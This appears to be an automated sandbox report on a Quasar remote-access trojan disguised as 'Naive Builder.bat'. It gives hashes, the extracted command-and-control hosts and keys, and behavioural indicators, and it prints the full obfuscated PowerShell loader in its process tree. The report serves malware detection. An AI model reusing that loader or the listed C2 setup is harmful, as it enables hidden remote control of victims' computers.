Analysis
- max time kernel
111s - max time network
110s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
04/06/2026, 19:51
Static task
static1
Behavioral task
behavioral1
Sample
Naive Builder.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Naive Builder.bat
Resource
win11-20260513-en
General
- Target Naive Builder.bat
- Size 12.8MB
- Sample260604-yk3xcady7m
- SHA256 efd80dd8487437f58413be6e7d2da6ea866ae7626b3225dbf326e8c82c85e580
- MD5 a2e3e4286e8b22b3b021a6706b899dd7
- SHA1 e6179204735421c3927f27c13f9751af1dce9bd2
- SHA512 3ff5d19accd1fa6765ffc3554bb9cfe3989eee4cf226c2ce7abbaff47a1586253ab1b408f4f9e47611ea7d2415f3298b12dfada1d1987d43c2efa16aac11e3e8
- SSDEEP 49152:JZHKpAhg6/Ri76PuM0gcqQP+GBRa1SgA+754EU1kOeTUliFDvnrNqjdsusoj8nNc:e
- TLSH T1EFD6D151362178A517A1A47BC3839EF67DAA0854767AC4926E9034CFB34E1226DF3CFC
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
quasar
-
1.0.0.0
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v15.6.3 | xen
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studies-royal.at.ply.gg:31849
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usa-departments.at.ply.gg:37274
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category-in.at.ply.gg:42204
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bd62476d-8a2b-4e05-a8e5-68cc94baac4f
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encryption_key
AA41DD5506DCFCA6EE3BF934CC3C9319F80E5E10
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install_name
.exe
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key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
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log_directory
$sxr-Logs
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reconnect_delay
5000
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startup_key
$sxr-seroxen
Signatures
- Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/2172-58-0x0000019C71110000-0x0000019C718CC000-memory.dmp family_quasar - Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1108 created 628 1108 Naive Builder.bat.exe 5 PID 2172 created 628 2172 $sxr-powershell.exe 5 PID 2172 created 628 2172 $sxr-powershell.exe 5 PID 1108 created 628 1108 Naive Builder.bat.exe 5 PID 1108 created 628 1108 Naive Builder.bat.exe 5 - Deletes itself 1 IoCs
pid Process 1108 Naive Builder.bat.exe - Executes dropped EXE 3 IoCs
pid Process 1108 Naive Builder.bat.exe 2172 $sxr-powershell.exe 5220 $sxr-powershell.exe - Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe - Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 2172 $sxr-powershell.exe 5220 $sxr-powershell.exe - Drops file in System32 directory 10 IoCs
description ioc Process File created C:\Windows\System32\ucrtbased.dll Naive Builder.bat.exe File created C:\Windows\System32\vcruntime140_1d.dll Naive Builder.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll Naive Builder.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll Naive Builder.bat.exe File opened for modification C:\Windows\System32\vcruntime140d.dll Naive Builder.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created C:\Windows\System32\vcruntime140d.dll Naive Builder.bat.exe File opened for modification C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe - Suspicious use of SetThreadContext 5 IoCs
description pid Process procid_target PID 1108 set thread context of 6060 1108 Naive Builder.bat.exe 84 PID 2172 set thread context of 3140 2172 $sxr-powershell.exe 86 PID 2172 set thread context of 4584 2172 $sxr-powershell.exe 88 PID 1108 set thread context of 4816 1108 Naive Builder.bat.exe 89 PID 1108 set thread context of 3044 1108 Naive Builder.bat.exe 90 - Costura .NET executable packer 3 IoCs
Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.
resource yara_rule behavioral2/memory/1108-25-0x0000024B78580000-0x0000024B78818000-memory.dmp costura behavioral2/memory/2172-58-0x0000019C71110000-0x0000019C718CC000-memory.dmp costura behavioral2/memory/2172-59-0x0000019C718D0000-0x0000019C71D2C000-memory.dmp costura - Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\$sxr-powershell.exe Naive Builder.bat.exe File created C:\Windows\$sxr-mshta.exe Naive Builder.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe Naive Builder.bat.exe File created C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File opened for modification C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File created C:\Windows\$sxr-powershell.exe Naive Builder.bat.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4996 cmd.exe 3748 PING.EXE - Kills process with taskkill 1 IoCs
pid Process 4672 taskkill.exe - Modifies data under HKEY_USERS 14 IoCs
description ioc Process Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 04 Jun 2026 19:53:18 GMT" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={D7F62758-9F56-4CE7-9B1D-06CFA017BE1B}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1780602796" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe - Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
pid Process 3748 PING.EXE - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1108 Naive Builder.bat.exe 1108 Naive Builder.bat.exe 1108 Naive Builder.bat.exe 6060 dllhost.exe 6060 dllhost.exe 6060 dllhost.exe 6060 dllhost.exe 1108 Naive Builder.bat.exe 1108 Naive Builder.bat.exe 2172 $sxr-powershell.exe 2172 $sxr-powershell.exe 2172 $sxr-powershell.exe 2172 $sxr-powershell.exe 3140 dllhost.exe 3140 dllhost.exe 3140 dllhost.exe 3140 dllhost.exe 2172 $sxr-powershell.exe 2172 $sxr-powershell.exe 5220 $sxr-powershell.exe 5220 $sxr-powershell.exe 5220 $sxr-powershell.exe 5220 $sxr-powershell.exe 2172 $sxr-powershell.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 1108 Naive Builder.bat.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 1108 Naive Builder.bat.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe 4584 dllhost.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3208 Explorer.EXE - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1108 Naive Builder.bat.exe Token: SeDebugPrivilege 1108 Naive Builder.bat.exe Token: SeDebugPrivilege 6060 dllhost.exe Token: SeDebugPrivilege 2172 $sxr-powershell.exe Token: SeDebugPrivilege 2172 $sxr-powershell.exe Token: SeDebugPrivilege 3140 dllhost.exe Token: SeDebugPrivilege 5220 $sxr-powershell.exe Token: SeDebugPrivilege 2172 $sxr-powershell.exe Token: SeDebugPrivilege 4584 dllhost.exe Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeDebugPrivilege 1108 Naive Builder.bat.exe Token: SeDebugPrivilege 4816 dllhost.exe Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeDebugPrivilege 1108 Naive Builder.bat.exe Token: SeDebugPrivilege 3044 dllhost.exe Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeShutdownPrivilege 3208 Explorer.EXE Token: SeCreatePagefilePrivilege 3208 Explorer.EXE Token: SeDebugPrivilege 4672 taskkill.exe Token: SeAssignPrimaryTokenPrivilege 2668 svchost.exe Token: SeIncreaseQuotaPrivilege 2668 svchost.exe Token: SeSecurityPrivilege 2668 svchost.exe Token: SeTakeOwnershipPrivilege 2668 svchost.exe Token: SeLoadDriverPrivilege 2668 svchost.exe Token: SeSystemtimePrivilege 2668 svchost.exe Token: SeBackupPrivilege 2668 svchost.exe Token: SeRestorePrivilege 2668 svchost.exe Token: SeShutdownPrivilege 2668 svchost.exe Token: SeSystemEnvironmentPrivilege 2668 svchost.exe Token: SeUndockPrivilege 2668 svchost.exe Token: SeManageVolumePrivilege 2668 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2668 svchost.exe Token: SeIncreaseQuotaPrivilege 2668 svchost.exe Token: SeSecurityPrivilege 2668 svchost.exe Token: SeTakeOwnershipPrivilege 2668 svchost.exe Token: SeLoadDriverPrivilege 2668 svchost.exe Token: SeSystemtimePrivilege 2668 svchost.exe Token: SeBackupPrivilege 2668 svchost.exe Token: SeRestorePrivilege 2668 svchost.exe Token: SeShutdownPrivilege 2668 svchost.exe Token: SeSystemEnvironmentPrivilege 2668 svchost.exe Token: SeUndockPrivilege 2668 svchost.exe Token: SeManageVolumePrivilege 2668 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2668 svchost.exe Token: SeIncreaseQuotaPrivilege 2668 svchost.exe Token: SeSecurityPrivilege 2668 svchost.exe Token: SeTakeOwnershipPrivilege 2668 svchost.exe Token: SeLoadDriverPrivilege 2668 svchost.exe Token: SeSystemtimePrivilege 2668 svchost.exe Token: SeBackupPrivilege 2668 svchost.exe Token: SeRestorePrivilege 2668 svchost.exe Token: SeShutdownPrivilege 2668 svchost.exe Token: SeSystemEnvironmentPrivilege 2668 svchost.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE 3208 Explorer.EXE - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2172 $sxr-powershell.exe - Suspicious use of UnmapMainImage 1 IoCs
pid Process 3772 RuntimeBroker.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2096 wrote to memory of 568 2096 cmd.exe 81 PID 568 wrote to memory of 5876 568 net.exe 82 PID 2096 wrote to memory of 1108 2096 cmd.exe 83 PID 1108 wrote to memory of 6060 1108 Naive Builder.bat.exe 84 PID 1108 wrote to memory of 6060 1108 Naive Builder.bat.exe 84 PID 1108 wrote to memory of 6060 1108 Naive Builder.bat.exe 84 PID 1108 wrote to memory of 6060 1108 Naive Builder.bat.exe 84 PID 1108 wrote to memory of 6060 1108 Naive Builder.bat.exe 84 PID 1108 wrote to memory of 2172 1108 Naive Builder.bat.exe 85 PID 2172 wrote to memory of 3140 2172 $sxr-powershell.exe 86 PID 2172 wrote to memory of 3140 2172 $sxr-powershell.exe 86 PID 2172 wrote to memory of 3140 2172 $sxr-powershell.exe 86 PID 2172 wrote to memory of 3140 2172 $sxr-powershell.exe 86 PID 2172 wrote to memory of 3140 2172 $sxr-powershell.exe 86 PID 2172 wrote to memory of 5220 2172 $sxr-powershell.exe 87 PID 2172 wrote to memory of 4584 2172 $sxr-powershell.exe 88 PID 2172 wrote to memory of 4584 2172 $sxr-powershell.exe 88 PID 2172 wrote to memory of 4584 2172 $sxr-powershell.exe 88 PID 2172 wrote to memory of 4584 2172 $sxr-powershell.exe 88 PID 2172 wrote to memory of 4584 2172 $sxr-powershell.exe 88 PID 2172 wrote to memory of 4584 2172 $sxr-powershell.exe 88 PID 4584 wrote to memory of 628 4584 dllhost.exe 5 PID 4584 wrote to memory of 684 4584 dllhost.exe 7 PID 4584 wrote to memory of 892 4584 dllhost.exe 11 PID 4584 wrote to memory of 388 4584 dllhost.exe 13 PID 4584 wrote to memory of 456 4584 dllhost.exe 14 PID 4584 wrote to memory of 1028 4584 dllhost.exe 15 PID 4584 wrote to memory of 1080 4584 dllhost.exe 16 PID 4584 wrote to memory of 1168 4584 dllhost.exe 18 PID 4584 wrote to memory of 1180 4584 dllhost.exe 19 PID 4584 wrote to memory of 1236 4584 dllhost.exe 20 PID 4584 wrote to memory of 1248 4584 dllhost.exe 21 PID 4584 wrote to memory of 1268 4584 dllhost.exe 22 PID 4584 wrote to memory of 1352 4584 dllhost.exe 23 PID 4584 wrote to memory of 1388 4584 dllhost.exe 24 PID 4584 wrote to memory of 1436 4584 dllhost.exe 25 PID 4584 wrote to memory of 1504 4584 dllhost.exe 26 PID 4584 wrote to memory of 1752 4584 dllhost.exe 27 PID 4584 wrote to memory of 1760 4584 dllhost.exe 28 PID 4584 wrote to memory of 1796 4584 dllhost.exe 29 PID 4584 wrote to memory of 1804 4584 dllhost.exe 30 PID 4584 wrote to memory of 1920 4584 dllhost.exe 31 PID 4584 wrote to memory of 1964 4584 dllhost.exe 32 PID 4584 wrote to memory of 1980 4584 dllhost.exe 33 PID 4584 wrote to memory of 1340 4584 dllhost.exe 34 PID 4584 wrote to memory of 2072 4584 dllhost.exe 35 PID 4584 wrote to memory of 2084 4584 dllhost.exe 36 PID 4584 wrote to memory of 2176 4584 dllhost.exe 37 PID 4584 wrote to memory of 2188 4584 dllhost.exe 38 PID 4584 wrote to memory of 2264 4584 dllhost.exe 39 PID 4584 wrote to memory of 2388 4584 dllhost.exe 41 PID 4584 wrote to memory of 2536 4584 dllhost.exe 42 PID 4584 wrote to memory of 2544 4584 dllhost.exe 43 PID 4584 wrote to memory of 2576 4584 dllhost.exe 44 PID 4584 wrote to memory of 2596 4584 dllhost.exe 45 PID 4584 wrote to memory of 2652 4584 dllhost.exe 46 PID 4584 wrote to memory of 2668 4584 dllhost.exe 47 PID 4584 wrote to memory of 2720 4584 dllhost.exe 48 PID 4584 wrote to memory of 2808 4584 dllhost.exe 50 PID 4584 wrote to memory of 2260 4584 dllhost.exe 51 PID 4584 wrote to memory of 2764 4584 dllhost.exe 52 PID 4584 wrote to memory of 2584 4584 dllhost.exe 53 PID 4584 wrote to memory of 3208 4584 dllhost.exe 54 PID 4584 wrote to memory of 3332 4584 dllhost.exe 55 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2016 attrib.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:628
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:456
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8d5a3d22-4d6d-4338-ad20-a17c5a11ea9b}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6060
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8458c9e8-4679-4d7e-b164-4879b6fc4379}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3140
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{68adf73e-fe5a-40c7-8b7a-381fee5a4b89}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4584
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7578b85e-ed99-4973-a9d4-b9f9848d7637}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4816
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b6274a85-f11a-4e2c-b38b-0c8e0f6720c5}2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3044
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-0b95cae4-9ccc-4d09-90bd-805e0f50bf22 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-1fa03e51-e833-46e4-afa1-d8a510c64ded -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b0f1897c-dd70-4646-bae3-52d289f3da3e -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-79fc7376-8b41-454a-8ff1-942c3244c331 -LifetimeId:7e547cb0-238c-4b5c-8767-2397ecde90e1 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:892
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1028
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1080
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1168
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1180
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2584
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1248
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1352
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1504
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2260
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1796
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1804
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1980
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2072
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2084
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2176
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2188
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2264
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2596
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2652
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2808
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2764
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3208 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat"2⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1720
-
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:568 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:5876
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-
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C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat.exe"Naive Builder.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function mJkVt($luVLu){ $XURkq=[System.Security.Cryptography.Aes]::Create(); $XURkq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $XURkq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $XURkq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EJfVxric5nYI0sCifeM7QtCynXluiHdjC3MMcb2UUrA='); $XURkq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IIC8RBkY6uF/2e5D1cUgfg=='); $XhpAT=$XURkq.CreateDecryptor(); $return_var=$XhpAT.TransformFinalBlock($luVLu, 0, $luVLu.Length); $XhpAT.Dispose(); $XURkq.Dispose(); $return_var;}function hLEOv($luVLu){ $SBbXV=New-Object System.IO.MemoryStream(,$luVLu); $RlXKT=New-Object System.IO.MemoryStream; $XPinw=New-Object System.IO.Compression.GZipStream($SBbXV, [IO.Compression.CompressionMode]::Decompress); $XPinw.CopyTo($RlXKT); $XPinw.Dispose(); $SBbXV.Dispose(); $RlXKT.Dispose(); $RlXKT.ToArray();}function tzqfR($luVLu,$MCcIJ){ $VEHZu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$luVLu); $cUkGe=$VEHZu.EntryPoint; $cUkGe.Invoke($null, $MCcIJ);}$flgbs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Naive Builder.bat').Split([Environment]::NewLine);foreach ($zFvRn in $flgbs) { if ($zFvRn.StartsWith(':: ')) { $TRCCB=$zFvRn.Substring(4); break; }}$YrvSK=[string[]]$TRCCB.Split('\');$xplph=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[0])));$vNzEy=hLEOv (mJkVt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YrvSK[1])));tzqfR $vNzEy (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));tzqfR $xplph (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Deletes itself
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1108 -
